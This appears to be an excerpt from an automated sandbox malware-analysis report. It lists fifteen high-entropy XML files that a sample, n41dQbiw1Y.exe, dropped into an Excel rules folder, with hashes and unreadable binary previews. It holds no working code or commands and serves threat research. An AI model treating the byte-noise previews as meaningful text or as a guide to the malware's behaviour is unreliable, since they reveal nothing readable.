Preview:	<?xmlZ..(.U.S..x..JS..A'p.t.<.yQ9...s.....A....d7~....Y...!.......ox.!..Y.z..l...e.L.......l.....@.?@."..@..??EG...tf.I@[:.='..%.....6..xD<c.^..,rK..\.T<.0....cu@.}.nfp.)....D...E.v5:.....Ds.O...r..i.m..V.FJ..my.\.`.Q..............W.....HDD......?...K.(..g."z=.zV.X..;..?.YFF..F.Tp.......D..O.....+..i..9-CfK........&.tQ..~.W.XD..E'>.vH.`. ........>NY....d..L.i.K..AN..L.s...X2/~..q.......]...E.7x.....ZW..[..8....+d+)F7.{....m..w.U....mZ.0L&.9W...".e..N..."\...^j.z..`8..s..\|Gc`...}e.d..L...7.(....k6../-.b....:.;..o<'0.#.7q....Na.......j0...jR..K~..q9.o.t..P}.-.o.h.T..]...k.r..^....(.=yM....E...".........._..6..mC.:.zr.t...m..pF!49....m&#..1.-9jHF...a.....l{..ls9r....}tY.x.2!...#..4n.Y. GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.706710258705261
Encrypted:	false
SSDEEP:	12:E6wRB4JRpQR4P/Jk/f1MX9xB4v70K5qMvxVwZHU1NmO5PiUUYcii9a:5wR+np7/u/f1MtxBo7XjxVwZ01UOFNhX
MD5:	908BC3EF9222EA6A8B2534076D0B94FC
SHA1:	4FF65966859D96D3B13EAF0C694E75AFAE04AE45
SHA-256:	F65A9006D02485C71672B45497A7E43095C78DB8AB1AB94FAA10F2EA1905F4FC
SHA-512:	B755704C7C008826752B711C7E56FBC11505206DFBDE1410C9813DE328E088580C22774278BA6A752FB69E76EE95AEA8F7B495E29FD243E08400271FFD62D319
Malicious:	false
Preview:	<?xmly....NZ.f7...t.Y..G:&.J...UQ...i..._.....k.L-/Nh}n..7.....n.tX}.j. ..6.Qu6..W9...[..4.i......q..Ne.?F>..$..\| .B"`.g..=8.P..........}.....rE.@ue../o....%.....D......]."..0g..t....@.... ..O.@..~AjR.u.d.~.}...m...KF.S.Cx.6.E...B..B._."..j.kn..gb.U..d^..$.`bl.T.G...x...../........u.n..HS.../..#....;...3...E...`(..!.4..........R.X.:...gJ.......$....=C.el.H..};g.X..6)..Qp...E..1.1...&.F.v.c.`.!...Y....@......_..8,L.....<....sHj.....Y...I=.'S(.....Y....g....a.T[...........s.~.XGb...%.B.I.<t . ;.....N...Q..!.5..p.....X....^.........V...G.....)......=......f.Q...G.&."...=....&GN^..\>GaN.>...J-[B...x............Bh.0.......mm.%W'....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.730090250749711
Encrypted:	false
SSDEEP:	24:kB3CuiEA2LQSC8LPzqssa36dMymwMtQHVJWbD:kGrerqsseYmwsD
MD5:	36DB9FAA42797732ABAF3D5A97C4539B
SHA1:	2F41FC4C2A159F01EDA95B13E351CC67C1184326
SHA-256:	679991766FAAF5B201E8E16C7ADBEA0C6EB3FA052B502C10588F2B361BF43705
SHA-512:	37BD811DF13F22A41A3FCE193C63D588217380B9A1454AC49C29BB37B5D44D7CE17469AFB0E557DCD0F1D6718FC878C88029D8D9A70F09DA42D42F540F78958D
Malicious:	false
Preview:	<?xmlB....\|.`.a.{S+..PQ>...iu4f...%.R.N.b..e$...E....Pjr5...@L..%5..Evi.k....e.......Rk.L....%4.pW..._.Q......'..b...$hE..g...\%.{.).r......KW...\|r....8._Y./.@.`..<..G....Y.Z8....(..Jb<oN.X...1<.B..#.g.N......C=...$7..rb}..c..D...u..:G.eM;....6.."........C.@ss.~....`..=.4O.G.`..d.[.b\|nG.%az..x.vj\3...k.\..j...R...........49.[fX@Y....#..?...3...FL...?.Vj..Pmxe..Q.O...!..M.7U.w@#qQ.u..&M...=..=6.n.........g..U6.I.s.K...Y.#f9dQ....i.-"(.z/...m+.0..db...4A.v'X.^.M....BT.o>..~V....]..x.f.O8....a...i...!.h.e.<.YA.u..&{..I...N#.Ga...d.CG.1o.xWI.....r.{l^..Bgl.r.{....2..u.P.eC/.Cu.........;...@..}H..j............hq...\....c....p..."b...[....a.D.~U..$.W./.0.lo<...C...0.<7...N...!.+.q;BU....<.Q./...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.705866020329243
Encrypted:	false
SSDEEP:	12:gP29YMCm57HZXe8LNnDOa/OpK/Hy0iJVNFQYOfXVXVQjgvXts67JWNGKcYYcii9a:gsjXe8hnaGyPjQnB+/2JWxybD
MD5:	AC217DB42F678BF0D91224E5A6F29463
SHA1:	C62A095DF67F3A5621C75CE998848DE039406E94
SHA-256:	FAADA24920D9844C163F22BE5A33570D93864A64836DBABAB8EB5F4D64D97CE7
SHA-512:	5B96D048B3FCE1F96460DE734F73072AC0F5413BFF457B9CCBA4EC86653E790E1138CA59AE51D7AA95A7AC10E5D397AC86CA5879094326243442FD6E60118989
Malicious:	false
Preview:	<?xml.@.....{.QQ....&.S......&.<..zyw~..m...<7..'.....X.7R.D.....AN#...8..V....v....X.5..>.g<.....qj,.@{.hG....e.i.B\|.{.A........t..................r.Vq..B.z..;WCpp.1.8.....B..<.`.3.0}UM..7.{.Y.\Q.7h...&3.j..;w........0...."..R1I.[..7...6...}....w..?.).......}..v~...eB.\..U).d...W....qyH.[...Z....%...N.z.9'.....I..f.J?.eJ.3....?.S...I1\|..r>.C.....(........'.lA.V..k5.R7'.........P$3\....!...Y...x..\|....~PS....V.T8..%....MCe.}.y...D...&&..;........2...U.....4K`C.`......5.......E!...O..w2MbN.w.V..f..>8C.$.i.^P.Op...m.UY..L.-.S...~P;a..}8.?>..V.82}/C.^..h...d.@.. .P.v..@..d.m..\|....].-.\|.b.......d.`.s:;K-.*....,H.....p.{...D.7hzH.N6$.B..<.t.p....U...7.P.N..`!..M.#.....E.b.rH;!..3GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.749122016704093
Encrypted:	false
SSDEEP:	12:sxRzUlj8UoqvJixo5/uimwzGSyqI/O7IYDmPlCXKycKXrSNoFFUrQZoasYcii9a:g1qvQ+huimwz6OVaycirvLU6ZbD
MD5:	BC54F46EF60CC43AAA36132C3FBACB3C
SHA1:	4DE3A3DDADC7CDB8DE3F6F4854EA123299D2E07A
SHA-256:	94BD555E57594E2C52F8028E283291C382B526201BA8DDE1F55EC4FC7A74B9E9
SHA-512:	4D801560FCC03F9A099D5A9BDE88D8CE1BB1B7B7D412E30E85A0F9DE5A2498F0D8B61BDB857E232CD638B7548A79147A44A92D03BBF60CF1D360C0E613258843
Malicious:	false
Preview:	<?xml..l.>).6.`.....7`..5..x..aa.L.0>...6G3K.4....Hq..t........p............D?... ...g..L..>.Y..Nc...(.C.P...[$...A.g.?>..8..8.V8...Sr+.......<..u..ld..\|.6..`....#.....33.y.9.6....v...R.Y..m....c."M.f.[.5aT..h.w{y.f...-....i..l...!......L...c4.UE..N!ZS..".oTX....Ry9..T..X...0...4.f.".d.u...1}......E..}.;#8..Yh..6.........#.....'..~.(..3_]..R<.4..m..y..DDJ..~...a."Y........................E......s..l.....R].l....7b.N...d#..7&q.\Q.....,fj..2t...{B..........l...E......G.......z.X..D+.T.Tw...$PbM'".0?xca..ABXu.,n....-=\|l.....y.iC.d..$.x..g.2?=..$I......vt.y..{.._...y_...`..us...^...E..+~@:;p...UF.'.m..n..w...>../.}.E=.-....F......z..,.c.0.......D...{.e...........(...`1...u.&.k.U#e.(....l...;t.m`.UkZiI.l.bcM.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.668157959112827
Encrypted:	false
SSDEEP:	12:8SvtN1TDbPHRxIBKRCPQLYixd9ydB3RygoVnJmz11jB0Zix54LcqtVOArBCvYciD:8SVN1TfxGKCPZix0o3qPsoWcQVlBCAbD
MD5:	0A5645148C128EE839DDEA836B02A1DD
SHA1:	B4F49C2F2F0A9C2666C5DE75A4E01FE062788C5D
SHA-256:	103178C6084CBDD77C94795FAB917B397777514E6506FFC85D7E5D20C5633977
SHA-512:	3826D5144C18C45722ACC8F77004D0C67C8163A12D1DB32B9A0C61B8FD48E8B66A0D3AB247BD09E58F1E4FBE45BB302E2C44D2D933364DAEA5E2DA09114CE786
Malicious:	false
Preview:	<?xmlZo8Z._e......k..!..#..tZ...'....c".z..h....4.a.p...t.h.s;b.f.7....].\|o.Z}...+......@L}..g...a.....E.W.....~L...<./q2.O...;5Q.O ...$....-.s&....:.+..].......-.."..:."..hX....9C.>...J]......-.R..H...@.;.1=.w.Vn?.f....'{..x.e...3e.j.......(.H.\L....7FJ,CUO.%...7.P..3....7..I...f..m..p.k.....$r'..8: .`$`7.?.Ioj....._~.I,.\|..o...Z.1...q\5....J<...p/ZO...42?.....?J.G..N.v.5.}V.r4E.t.ou.W.D.5..e.N.....~..t......uG..$.`.V. ..p,k.....c.0..Td...r..P..9.`[...d.B.%q.k..g<...\|...."C@.:......J;.5....%\,.@..8_..T..D?&.g.4.{...xB..-..J{j71x.y...../Z.D.5.{..(.:@......%..7...<*...d..n..6].. Q......jh,......P....K....0l.yr...........GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.734590950738739
Encrypted:	false
SSDEEP:	24:SOGz1swy8okD+CySBpQrmOlg8CfANke3WX8OXY0IbD:qe98P6C5/QKOTGANf28aY0SD
MD5:	BF1C00441D310504A4C74D5A5DC3500E
SHA1:	5F754C11F4100645B66FC293A453A82FA00D9E19
SHA-256:	BCE84FC195AF9B70FA11D7BDC50F6BABBB602739514C99E59A0FAFBC3F81369F
SHA-512:	882F78C674ECEDE68C02E82BCDCB98D9989B922650B37407B7B28EA25EFDE653F4837F177E4AA91C17E60D1E66BFD7001F25F2613C3B2C181297325F847DFFF0
Malicious:	false
Preview:	<?xml\|.Lz.Ul0..........1..v.5.i7E.odc..>M5 .h.C...mp.6....C...Y._..<w.......B`}.C.0.....2..^...g..J..C4...........I..z....n!\|....;i..2....S..gf.8fA)9..c}T.....)..\.3$j....X...F.8.....~\|.....E}......1.."I5.p.A!?.../dKQ.V.w=p@V....[p..t...........lja.kX..w..RM.z..........et\L.E..8VN.9Y-.k[....P..Z.Y..m..'v.%...k.......r....3(....5C.l.9....~....Z!..P.7..$.f...:_m.`["..mSr5.... t.T...\s....]Z....H.\.a..9.......v6.R2h($...+rZk.].^..J$..J...'..mo...+.E../.mD..jo.>.)..[.h./.Uh.AJE-...AV{......M.. l.g..K...g:..<2....p.oW5.5w.E..b3q...O.....x..#.`.P....p.K.K5..uM".p.....=f[...?.}.m..!W9...}K.}...-sh3....."'f.jT/..v...E...r.............~...;O./.....~.#...##......D......l.>YO..Qd@(y...7.S.\.",gGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.709769457936069
Encrypted:	false
SSDEEP:	12:7E5z51mQAj1/TKa/X970nxy5hdhM/WamopshyIIkuxbucZjq2SNJbtBCb8bc1Ycq:A/1NMB2270nEo/WbopshyPJd31qsacGX
MD5:	E338C1B348BAE45A321BD667E27C9B97
SHA1:	97FF5CDE777E237232BE3648286EEC4755A402E8
SHA-256:	FD87DE6EBA9E7E008BF4387EDADCD560F987556E10D6EBE28166B90575347C8B
SHA-512:	93871F6AFFE271F1BDF35587D5D116CDD70112281ED159544A4A5B8703A84A3FCA0D71CA7F9657BB9F4AFE389D500374EF61CA3B338EAD6DEA1A4B6D8747FB05
Malicious:	false
Preview:	<?xml....z.b.E.r.QPq.-.~.u.#...g.....u.....GQ0DJU$iRN.=l.v.@.2..2.......OF..^7}.....E^.O...:Y_...a)...d...0@.....`...i._....Z..s-?..M(.h.".;.@d....GS.i&x..A.9..ta..1....(.#P86./^...P.#_q.Vr.:.?j.....V?x".?'p@..J......p......j.G.......h....j.....=.$=....f......\.........-.W.%..z.....d..."v......D..>D.v.C.m......x..z..c.V.....+*..PU...kHmo....../4..T.......jO.....:...z.A=......m.7.tO..x..o.7i/^..7.A[......k....1\..Z..a@f.._..r$-.......X.Z5.h$E.........5k..X.wTj...].n..>ZZ.N........../;....e9wH.78..)..W.%.,.L..L.E.....a......P.k..x._..+.M..\~....w.W.....z..c.....;as#..A)..^.s#.L<....r....#8...N...D..d_.~...n.fS..t.l.f..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.7430529152175565
Encrypted:	false
SSDEEP:	12:gXyfY8LCmrCxFEK3v308INyrQ/bgoCm9fLoS5hKAPa8NKp001PDxJ6IkYYcii9a:gigvmu53v30KQ/EmqS5hAp001rxXqbD
MD5:	A9074C63A706251C243A16DEE17A9571
SHA1:	9333D043AF66081E38751C71A6B32CC8A1F6E5C0
SHA-256:	868E29CE3E7A6DE561B5C33409F20D569DF44D160E192765EC7051965D610846
SHA-512:	23FFFE5A95D712FB310ED6BD6BF8ED0C9D431136C789E3586CE12AE6934C8749CD1FFDE294E93B6EF5BA650C3989627FF7A036873A37991F240E64D15D88D6E2
Malicious:	false
Preview:	<?xml.27=....~.....0.k.tz&..3.HT..RU...^g..}..s='. ...v.&.....Q.QCN.[........(.r......T......1..V.c.....#q"x"...f1..]...H)....4m........n.o...m.F@.g..O.........Vr@...of.....R......T^.u........8......h...nh..e.X(.:..)..q'..8....n..[.......y.[....'.a.G.4...e.8......or.Z...F.;.....C<z.P5"g~...N2.....3..!.....?r..@.^...R...c..\..wN..N..7))x[..l.#......w..q.f'.......^.z........E. 7.?.L....8s..[#..g^.r.......'T..}q.._....k.]^.Pmcno......tz.gC.,.F.........H^I....\|s..=..o\|.b...._...li`Ko.4n5.,..&.............W.[qf+4w.....d.%.P...5/...u...v..&/g!..x..,;.`.....<j.l...]..l..r....E(.JW..O..5n$S{..J.......%.,.........J:....)1.2A..'.(..P..6...!..0...gmR.fM.<c)(s..ou`...H....p1...\|.v....].GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.729331199841585
Encrypted:	false
SSDEEP:	12:VPo8/3xNe78y/oyJXw7l6Tu0enAzzVTFMwVmSwlLqP1crGcZ1rsy2X9mpQUYciik:VH/AxhJgBivVTFMwVmBGcrZnbM9mWbD
MD5:	CCC8C7C4DEB1D8EA2BA57A0EF96E6EFE
SHA1:	D7C887D61BA040C3239AE5DC30DF3440BCB1882A
SHA-256:	20C34BB9720199027203063F9124A470FAC2E91F4E87617ED727A11D4AB27589
SHA-512:	5FDDADE23DCC5A7EAD52782E55B4667147715EE5F5CE28FBF19633CA99F361626FDF95377DB77CF5BF51F8E2E62B1CF49020879257C9AE9E0BD788E490B03573
Malicious:	false
Preview:	<?xmlwp./..fV)....3.)....i.?....#../(D.......F..>.z.qE.'.....:...(..v.^.fk..-.....1..3T[.......;.....g..W.J>.TJ.ZiIvWA.9.Ow.....;....d....M.}R-M.8.Z4b..^;..c.;AR.....F..{...o..W.<...1s..Dr.g.3..C_...P.' /.;.Q4...s..i.r.......}o.Hg.0.T...h)r_37G{.....3.T.........]w...Ap.4..h.i....w...X......G..^S[............. .g.#..a....U.V.=....t.V............pC.\|.<..#x.B...-C.P...J.-'..@.......3o.............r7..y.'.i..........C.<.}....[..MVR.(....^.....Y..?jA@YF........~...p..{.=s.(i.m.2v#/.....ui.Le.._+.E.}. ]J0.g_{%F..&K.......v...N.km@."5Em..\|1).u..k5qC....0.+....W..z.5......2Y.:.L\|9.4}....^..$\|0..1.^.(.X....n)r...A..+.7l.......Z}......U..K.....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.752824421110941
Encrypted:	false
SSDEEP:	24:LnEu/vHTpQ51jk80XHlPhu0LUG0KN1sbD:LLvHTK/jk8wdh7LUG0tD
MD5:	B9019009901D200ECE2CA7AE2305589A
SHA1:	98EB7FB897A28D2609523AC22A4C6A06323DA710
SHA-256:	09A7C19B9E89681867B132F2B2E0BEE0F2A2DFBD644FAA7F078233DB02164F57
SHA-512:	BD7AF7FBEFF6F18F62AEC90B11E3BAA60C493829B255C7D12736351B95069383E596C1EDAF6C44F9C26918AA241A9C817046C4707CAC6ED6FAB80960634FA5FE
Malicious:	false
Preview:	<?xml...:..s.e.>W..%[/...K....18....d..>..\.ly....A..vO..KB.E<.......l...[7....f..gd$..c.@.).H.ker....h.?.l=ee.....;.2[...M..3?..vL3..X.....p.....(.e..a...x.I.h;....]P.Z......&A.`P:b(.'.6...iHK`..\|..#S"8..%......P.~.r.........@.g._6..MKC.p..Q...{..nf..SH.._..t......a.g.....a. ).[Fw4......X.Q0V.@:o...c(...X.......]...."......i{>.m..\UZ;.;...Y..q..A......].W....9"..qZO.A?....l..jM../3.0..k~.!92.%T?..i..A....i.O...4..G ...e5.Z..dTK.6@....>.......B..~...;...M.\|}..rjx.K.].#M..a.jp..M+.ev.Z..`#RL..^.S4.\|.z%..?....H16Nx.R....{....,y.d{1..=.M..-.n..=...6.....#"}.-.mWr.B.8.9:n.kAH.s'A.Q'L.2.Q..o.W. s.B...\|(.b.~....\|...-.......p.o..]...T\u.$O.{8.b....<....>..p..m..B..Dn9M..Ve85...P../.L..j.}.0.U.................V.8..T!...."...v.}.YGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.699516699428942
Encrypted:	false
SSDEEP:	12:iP5i46+zmWfxd6a+LFpzhw5C/ofAYVwpmpaC8w50n/Xcgue46rJnLkYcii9a:iP5lCa+LT7yVmm4q4ul2JnLxbD
MD5:	E34B946AFC279BC5C37D8E62B14BCB35
SHA1:	CBE368D11CCFDD4BEA773F235E423633C0EAD3D1
SHA-256:	A204D63996B2C2B20419AE76E8CD4D042812B4DF7E7620CF908BC3D9DFC6B51A
SHA-512:	35556EECC9429BF95DB2BCB2D6A448B4CB96488146B9C1E76F46292137D1556931D481828EFBAB86810E8A2089118FEE35A42C2DCB215E09C8393316867AC583
Malicious:	false
Preview:	<?xml..s..B.z6..}.iZ\|\VyK....k.(L.........WDE.....b....(@....A......[j.!+......2S9..+.fF?.!.g..0..a.^....^&...$..Ar.X...../....G.\..F.T2......v.F..HU...Tf.......ga.'.M..@..\|x.h.i;........O...h....34V.......9...b;..7......h...l.N-...@.....D.n SP..!..f%bd.....X_.~........=.W.v....l..l...J.Xdm.5.J7>.....T....+..8:+.&. .D...[...rh......5.....Q2....]..F.....]\vS.2.n...Y.&."..".8.^....).L.E............\@pjQ.~g.X@......!.f("..._......N.v.Y........(8......{1!..T)1..].....&.{....3[...$..58$/.i.4~.$......T......?...X\|n.U^..-.,..Y....D..KH4.*.xqr[e.-........\n.k..a....~l..>..;..x...<.;#.0....4...9.$V.4{}h...{.&.6P.+O.l5..".2.FVagy?...d...!.K...bGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.756565123763893
Encrypted:	false
SSDEEP:	12:gR0xFbBhF3tyJSrf86heH8L1o2Q2R2tJBcbCxHImArKKqBzmPYYcii9a:gKB3tyR6hechcnLBcb6HImAuKqBzAbD
MD5:	2BDA16876DB8466211B5D99344D4025D
SHA1:	1DF45EF5A73F6DD552D3FF4B4B031C7A102E5F8B
SHA-256:	B0BE13DDACD7A8CFAD94D7B40E377F84C4B0309763D00E51FDFD4069A8898E15
SHA-512:	EFA4B28658FD5781D8BCCF8FF2C32CFB16DAC12DEDD75E8CC59C41CC248A5FDA7092C1DED57D68D69B9A6E476E763517883E70C46A4FEDE7C44D67EA04715D84
Malicious:	false
Preview:	<?xml...i.s;....2L.o!g.c3]?D.....3.[p;.L.qt.z_CqL..z...%.........x.#yQ8W+..."..u,?.7..`..rn.)}0...&D...j...sWM\|..6....Y....o&<.q`.....C..........)8.....o.9`"...5..C..P.c.........)f.S.!.mBYY..D.._......j Z.....3....GQ.z...6..9...@.'.....J..\|.m...s.8WR...4B...(Wb.c..J.....I.\1.SGHg.v.R1...&.Z\U\1....Vbr+.5. 7.. C.z...N.2.~=C ..6...vPh....K1.si....P`...@o........l.V....((....~.>...%.s..#..7#...q....;:.kw.'.4U:.].._....?../c}.....lZ7..I.........=3. ."`P.d'.....y.jbA2v.@e..~../.b3Sw...mL..K....'.KN....?..B.E..........W....%.Zh0.v.{:.;.2..5G..1v..*.9=...f..t.....T..`.....t..T.;n.$..5rg....w.p.....h..U.(.7g.,.G..U.)H..:.L..ZF'.....^._.&.d.....N..3C....J.........fo.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.756170699311782
Encrypted:	false
SSDEEP:	12:WnyB4wVmwuyPsyNdGjrUQd0cXVvz8cSOGoIAdhmwiWLthBDIeKcWouFUqN5AXxbI:WneX4wTlNpQdYYIwh4WLthBJKDFj5uSR
MD5:	DB58C802A2E2AB4F70853AACA2D12CFD
SHA1:	E1AAE8C21C994DCA754A884060F31097844FEB26
SHA-256:	242075265FF2C9010E7BFFAC2D323DE8820B61F192719F68B24CAF45C443CA19
SHA-512:	C7913AB854EFE73DD7586B2979BCA456228A94A8BB3A1D88176F838AEB28C6F1BAA0DC8CBE64698EDE8D55FB75E58873054AFFA7D656C2F3AC0F1FD738E30341
Malicious:	false
Preview:	<?xmlg..y0/!....l.\...@BX.X...0L.a..#..KR. ;y..Y.%-Tc/.O.7...n.ei....S..].;......Y.B.<St.B.].d.<....0S..p...$\..l...$.=Y........^?V:R-)v....r..4..E.SI4J....3&/.(........M.?.:q[O.-..b............+...).R.8.p.L(.j.........yfb.V..#..oD[.zq.i.n..ENC=;.i.P.JA....)..0...H..].7..N...%^.Al..'.D_0./F.....s.....;.v.....-.....G:......e...........2.C.l8N....Z....(.M... 0..d......w`....t....~.d..8...Q..+]....$N........g".9............'[guG... .'.^[nD.#8.n....&K.~.Bl...<o..._H#c,.\w.s.....B..J....7I.Y.x.\|A*.6.Cc.U.D.+pm..(.R...m5N.{.o0....]l...}[.)s.3.i..u...r..!..$..A.n..(....#...+w...0..-l`dDn/..h..y.l.q[.'z.d].4`_.Y..../._.h./.FF.a6.......ds..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.741330668730333
Encrypted:	false
SSDEEP:	12:8MeE7n2LE2N8wdfkg/JW157dcUokpOng3E2jEQMR7w5bBNfH9pFtSYcii9a:vL242ew+zJcUROgU2joK5bfdpFxbD
MD5:	D82C38CB1345D494D87D31C2954E730E
SHA1:	EF0ED5E8F9130543228A54706423AC09F67B9A74
SHA-256:	2E56F1F8D21C18FEF7BCF742EC827FB9F6B564C8D6B044A65B8388426A8BC6DA
SHA-512:	4470AEC4202441CEFD505BB449287014162A58C61D4807B32DF4DC2EA3EBF7D4FD10910C4A493457A9F43D9E44F9448EDAE7EE80B37794D77747638021227568
Malicious:	false
Preview:	<?xml.(....#K.V.M...?o...{F..1O..3..\|@.5C.JJ'...fib......N.;K.X......t..........>w.e.+...f.....T]y.$.~@..&G..O.Fm..)............%C....w.D.sSf.u.Z.dZ...)...Ep...........\|o\....%....xG..f...Z../#V...:\...K.`...n.VD.]@#...v.[f[.k.=/.....;L...\...7+..o ..i.U~r.Q.V...8....IA.F(:P.........h.b$...t..[.JF.6.....CF......t......?....&a.+..mY..Y..3.........0...`....R........[..$ ...b..}!.....;I;^...........Q........C4....U..v?.<.K.qS... ..Q](.:.G].....Jr.......8.6?.?H..\4M........}...Z..m.%...j......;+3.6.....A.K....z.a..s...B.o...43..>.%.4.Mb$.f...l8.....>....._\.+...L..pQ..^.j..W~.gs.3\..t....h..f..;.P...p....X.q.e.e.......u.q$jt.......f..G......'7.:..B(>3Q:...iV.u.+O.}.....O... ...x.K....d.J....1.9vDGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.681538928428308
Encrypted:	false
SSDEEP:	12:oXXhQ0VLkYNVPFYILQaZGGgPokgvr+M1mfhxlVEggHDUZfayA6TFjMhclUpfmxt0:8ZFiILQDQ1vr7QjPE9DEU6pjMhkwmxt0
MD5:	945C540CF3ADEA23256299941342F1FC
SHA1:	2C00B853E1B8854B03DCAAB5D7C6892FC27C7007
SHA-256:	08F1C43E8AD0E442C61B24B0594E2BA5A9D528B20D0F5F84402DF9DFBDB36EBE
SHA-512:	73477B6B72DDB9A2D9D4D9EA8E02000624DB613D7F8A1A73BDE6C0C820C53852A325C1B01EFAA2E28D530D788DDE57311C6438DDDB2116F5D0735E86F4B9597D
Malicious:	false
Preview:	<?xml..\...-t..A..^#......c..J'}.......K?..=.R0.n.nK...!.i..$......6C.1x.q....K.v.Z.F/.....`.Z...1...TK.'.ed..Bg%....~..E.).b..s...T....O.z..&.._.1..`..sF.q.Y.#F$.dO...f?..:.y1.a..."...<.1.....!c.._....>...O...)..`...............5.<9Y1..,$=_.y..Q7.ng..)....f..1...D..b......._..w/...gr.^.h,....f...dy>.[j3Pb....\|-=}...0$..2...o.\4.-..."m.7Gr(..2E.C./.0a....V#..:..0m....wg....LM(9T..v..e~Qv.[..^&....RZ%w.a..6.v&.......Cr.8\|)......8.(}M.bm..f...MBjWp....:..C...q,%..W.=.....~S....l..E.}5au......;.e...8....w.i.6..#.:.."i...?...%...k...JI...4k."..+........ ...Xe...Kz...X.........8....e.?...Y..=...G#18.x,)>...y%.,..P..\|3.R..........G....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

